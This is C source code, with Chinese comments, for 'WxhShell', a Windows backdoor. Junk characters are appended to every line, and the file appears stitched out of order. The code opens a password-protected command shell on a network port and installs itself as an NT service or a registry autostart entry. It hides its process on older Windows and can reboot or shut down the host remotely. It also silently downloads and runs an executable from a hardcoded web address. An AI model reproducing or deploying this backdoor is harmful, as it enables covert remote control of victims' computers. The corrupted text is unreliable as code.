DWORD PebBaseAddress; ^wO_b'@v
DWORD AffinityMask; R)d99j^"
DWORD BasePriority; ^KZAYB9C
ULONG UniqueProcessId; SfZ=%6b7
ULONG InheritedFromUniqueProcessId; F/h :&B:;
} PROCESS_BASIC_INFORMATION; V"7<[u]K|
[)H,zpl
PROCNTQSIP NtQueryInformationProcess; /G)KkBC
y/@;c)1b9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b>bgUDq
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T^'*_*m
b
5F4+
HANDLE hProcess; -; us12SZ
PROCESS_BASIC_INFORMATION pbi; TRk
?8
qP;{3FSkAF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7#Uz*G\iZ
if(NULL == hInst ) return 0; }
T/}0W]0
0H OoKh
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); + 9\:$wMN
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uv|eVT3jNs
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s<Ex"+
qXrt0s[
if (!NtQueryInformationProcess) return 0; 0NCOz(L/
V6@*\+:3)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hF{x')(#l
if(!hProcess) return 0; 1A%N0#_(Md
DnNt@e2|
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @tr&R==([
R<n8M"B
CloseHandle(hProcess); }[>RxHd
.Bb$j=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l~]hGLviJE
if(hProcess==NULL) return 0; Qb!!J4|!
.)iO Du
HMODULE hMod; aW0u8Dz
char procName[255]; FF%\gJ
unsigned long cbNeeded; !dfS|BA]
pau*kMu^}
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <X:Ud&\
|MTpU@`p5
CloseHandle(hProcess); =7 Jy
qpb/g6g
if(strstr(procName,"services")) return 1; // 以服务启动 $Cz1C
z$9@j2
return 0; // 注册表启动 [kPD`be2#
} zW%>"y
X|X4L(i
// 主模块 \p5|}<Sr)
int StartWxhshell(LPSTR lpCmdLine) nGq]$h
{ TA Ftcs:
SOCKET wsl; Wc~3^;U
BOOL val=TRUE; 4^0d)+Ff
int port=0; b->eg 8|
struct sockaddr_in door; AI&qU/}
E)C.eW /
if(wscfg.ws_autoins) Install(); <_"B}c/2$
7#~4{rjg
port=atoi(lpCmdLine); v2Dt3$@H6
mbF(tSy
if(port<=0) port=wscfg.ws_port; <KKDu$W|T
Xl#Dw bx
WSADATA data; }P#Vsqe V
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bRWIDPh
*%:@
cbF-M
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; cb+l"FI7
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0z<H(|
door.sin_family = AF_INET; I`22Zwq:
door.sin_addr.s_addr = inet_addr("127.0.0.1"); /r276Q
door.sin_port = htons(port); F7\BF
T_eJ}(p
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3FFaEl
closesocket(wsl); YnSbw3U.I
return 1; X` ATH^S
} kB8
M i
>L8?=>>?\
if(listen(wsl,2) == INVALID_SOCKET) { 27m@|M] R
closesocket(wsl); ,"B?_d6
return 1;
5Q`RTn%
} }7.#Dj/r6
Wxhshell(wsl); 0x\2#i
WSACleanup(); y=w`w>%
j?xk&
return 0; "#2pT H~
S.: 7k9
} !x7o|l|cP
|k6Ox*
// 以NT服务方式启动 A#(`9
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X'f)7RbT
{ GzdRG^vN
DWORD status = 0; wZjlHe
DWORD specificError = 0xfffffff; bG(x:Py&
Tr%FUi
serviceStatus.dwServiceType = SERVICE_WIN32; )|pU.K9qZ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; KnJx{8@z
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _42Z={pZZq
serviceStatus.dwWin32ExitCode = 0; \]8VwsP
serviceStatus.dwServiceSpecificExitCode = 0; _8^0!,j
serviceStatus.dwCheckPoint = 0; @!&}}"<
serviceStatus.dwWaitHint = 0; "O8gJ0e
Hi_G
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SWp1|.=Sm
if (hServiceStatusHandle==0) return; 47r_y\U h
c9R5w.t:
status = GetLastError(); syip; ;
if (status!=NO_ERROR) {cpEaOyOM
{ CF|]e:
serviceStatus.dwCurrentState = SERVICE_STOPPED; nA?Hxos
serviceStatus.dwCheckPoint = 0; [i0Hm)Bd3
serviceStatus.dwWaitHint = 0; g'];Estb~
serviceStatus.dwWin32ExitCode = status; y2O4I'/5<
serviceStatus.dwServiceSpecificExitCode = specificError; l"n{.aL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,ZblIOWb
return; KJE[+R H+z
} iJnU%
a?yMHb{F
serviceStatus.dwCurrentState = SERVICE_RUNNING; %AOIKK5
serviceStatus.dwCheckPoint = 0; p0.|<
serviceStatus.dwWaitHint = 0; ]d[ge6
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n;R#,!<P
} Oi"a:bCU
;Ut+yuy
// 处理NT服务事件,比如:启动、停止 K;7f?52
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1_$xSrwcF
{ c`x7u}C
switch(fdwControl) EkT."K
{ mVtXcP4b
case SERVICE_CONTROL_STOP: e6=]m#O9
serviceStatus.dwWin32ExitCode = 0; S'dV>m`
serviceStatus.dwCurrentState = SERVICE_STOPPED; "l={)=R
serviceStatus.dwCheckPoint = 0; sBv>E}*R
serviceStatus.dwWaitHint = 0; W&h[p_0
{ U $Qv>7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); kF7(f|*
} (]/9-\6(#
return; ,2oF:H
case SERVICE_CONTROL_PAUSE: z9W`FBg
serviceStatus.dwCurrentState = SERVICE_PAUSED; 4E44Hzs
break; zU6a'tP
case SERVICE_CONTROL_CONTINUE: \b[9ebME
serviceStatus.dwCurrentState = SERVICE_RUNNING; hP J4Oj1O
break; <lr*ZSNY
case SERVICE_CONTROL_INTERROGATE: ozsxXBh-`'
break; {F&-7u0
}; HxK$ 4I`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); cYNJhGY
} TI y&&_p
%tA57Pn>
// 标准应用程序主函数 sqx`">R
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :5GZ \Z8F
{ v+6@cC
?_\$
// 获取操作系统版本 r!}al5~&
OsIsNt=GetOsVer(); H* !EP
GetModuleFileName(NULL,ExeFile,MAX_PATH); v;{{ y-
/R
X1UQ.s
// 从命令行安装 ]j>i.5
if(strpbrk(lpCmdLine,"iI")) Install(); 4t4olkK3Oa
y0v]N
// 下载执行文件 P[t$\FS
if(wscfg.ws_downexe) { Vbh6HqAHxJ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 89o)M5KQ
WinExec(wscfg.ws_filenam,SW_HIDE); e2CV6F@a
} {5c]Mn"r
&R+#W
if(!OsIsNt) { g.%
// 如果时win9x,隐藏进程并且设置为注册表启动 I
5ag6l
HideProc(); %;`>`j5
StartWxhshell(lpCmdLine); B1N)9%
} iNcZ)m/
else _BnTv$.P
if(StartFromService()) (.K\Jg'Y6j
// 以服务方式启动 V6iL5&
StartServiceCtrlDispatcher(DispatchTable); Hr;h4J
else QhGXBM
// 普通方式启动
Ex@`O+
StartWxhshell(lpCmdLine); a7H0!9^h
#*q2d
return 0; ~QG?k
} \hk/1/siyF
/<)-q-W;
vTr34n
TmEYW<
=========================================== ~JZ3a0$^
bk#xiuwT
[_DPxM=V
t\U$8l_;
GA^mgm"O
2V#6q,2
" _45cH{$sA
.e[Tu|qo
#include <stdio.h> o sdOw8
#include <string.h> N}/>r D
#include <windows.h> " mj^+u-
#include <winsock2.h> Q49BU@xX
#include <winsvc.h> i3V/`)iz
#include <urlmon.h> eO5ktEoJ
c c G['7
#pragma comment (lib, "Ws2_32.lib") vgPUIxB@
#pragma comment (lib, "urlmon.lib") \d68-JS@~
vP]9;mQ
#define MAX_USER 100 // 最大客户端连接数 y,C!9l
#define BUF_SOCK 200 // sock buffer w$Ux?y-L
#define KEY_BUFF 255 // 输入 buffer _'iDF
@6.]!U4w
#define REBOOT 0 // 重启 DnyYMe!r
#define SHUTDOWN 1 // 关机 +mWjBY
r%MyR8'k]
#define DEF_PORT 5000 // 监听端口 >[K?fJ$+
Du_$C[
#define REG_LEN 16 // 注册表键长度 Bhuw(KeB
#define SVC_LEN 80 // NT服务名长度 8=H\?4)()Y
-{x(`9H;
// 从dll定义API B3b,F #
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i.@*tIK
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vo;5f[>4i
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V9jFjc?
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
U1\MA6pXW
b.Su@ay@(^
// wxhshell配置信息 Q]i[.ME
struct WSCFG { ]Y5dl;xrM)
int ws_port; // 监听端口 n&7@@@cA
char ws_passstr[REG_LEN]; // 口令 ZrcPgcF
int ws_autoins; // 安装标记, 1=yes 0=no Sr7@ buF
char ws_regname[REG_LEN]; // 注册表键名 GVp
char ws_svcname[REG_LEN]; // 服务名 5Fe-=BX(
char ws_svcdisp[SVC_LEN]; // 服务显示名 TNsg pJ?\
char ws_svcdesc[SVC_LEN]; // 服务描述信息 i+U51t<
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )kA2vX^=Z
int ws_downexe; // 下载执行标记, 1=yes 0=no ]L]T>~X`
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RK3.-
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sA2o2~AmM
$~hdm$
}; f(.6|mPp
:|($,3*
// default Wxhshell configuration Jk~UEqr+
struct WSCFG wscfg={DEF_PORT, ,lP7 ri
"xuhuanlingzhe", Zjt9vS)
1, 3GINv3_
"Wxhshell", !h/dZ`#
"Wxhshell", cUVTRWV
"WxhShell Service", g5<ZS3tQ
"Wrsky Windows CmdShell Service", VS%@)sI|Z
"Please Input Your Password: ", /MqP[*L
1, jDp]R_i
"http://www.wrsky.com/wxhshell.exe", -_w~JCx
"Wxhshell.exe" <tU
:U<ea]
}; @2|G|C/]O}
!xJFr6G~8
// 消息定义模块 W&LBh%"g
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &
]%\.m
char *msg_ws_prompt="\n\r? for help\n\r#>"; n4XMN\:g{
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !yk7HaP
char *msg_ws_ext="\n\rExit."; `^`9{@~
char *msg_ws_end="\n\rQuit."; /o'oF
char *msg_ws_boot="\n\rReboot..."; &LwJ'h+nd
char *msg_ws_poff="\n\rShutdown..."; n<+~ zQ
char *msg_ws_down="\n\rSave to "; Hq79/wKj
kU>#1He
char *msg_ws_err="\n\rErr!"; krwf8!bI
char *msg_ws_ok="\n\rOK!"; V9gVn?O0
m_~y
char ExeFile[MAX_PATH]; l`oT:
int nUser = 0; K"G(?<>~4c
HANDLE handles[MAX_USER]; d7\k gh
int OsIsNt; *di&%&f
=CGD
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SERVICE_STATUS serviceStatus; nJW_a&'
SERVICE_STATUS_HANDLE hServiceStatusHandle; =nw,*q +
es{cn=\s
// 函数声明 b ^+Fs
int Install(void); qW+=g]x\
int Uninstall(void); PV?1g|tYv
int DownloadFile(char *sURL, SOCKET wsh); K%k XS
int Boot(int flag); /
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void HideProc(void); |qQ{ 8T%)
int GetOsVer(void); VM=hQYe
int Wxhshell(SOCKET wsl); c&0;wgieg
void TalkWithClient(void *cs); 7j4ej|Fjo
int CmdShell(SOCKET sock); (X0`1s
int StartFromService(void); pE~9o 9
int StartWxhshell(LPSTR lpCmdLine); cA2^5'$$
1y_fQ+\2A
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H^]Nmd8Q)
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cH+h=E=
o",f(v&u%
// 数据结构和表定义 5B8V$ X
SERVICE_TABLE_ENTRY DispatchTable[] =
yBJ/>SAcG
{ `%KpTh
{wscfg.ws_svcname, NTServiceMain}, \ 9[NH/.Z{
{NULL, NULL} -G(3Y2
}; f)p>nW?Z
@>qx:jx(-S
// 自我安装 ^D%}V- "
int Install(void) 9;>@"e21R
{ 3ybK6!g`[
char svExeFile[MAX_PATH]; "#_)G7W+e
HKEY key; 0BbiQXU
strcpy(svExeFile,ExeFile); M63s(f
l Q=&jkw
// 如果是win9x系统,修改注册表设为自启动 )x_W&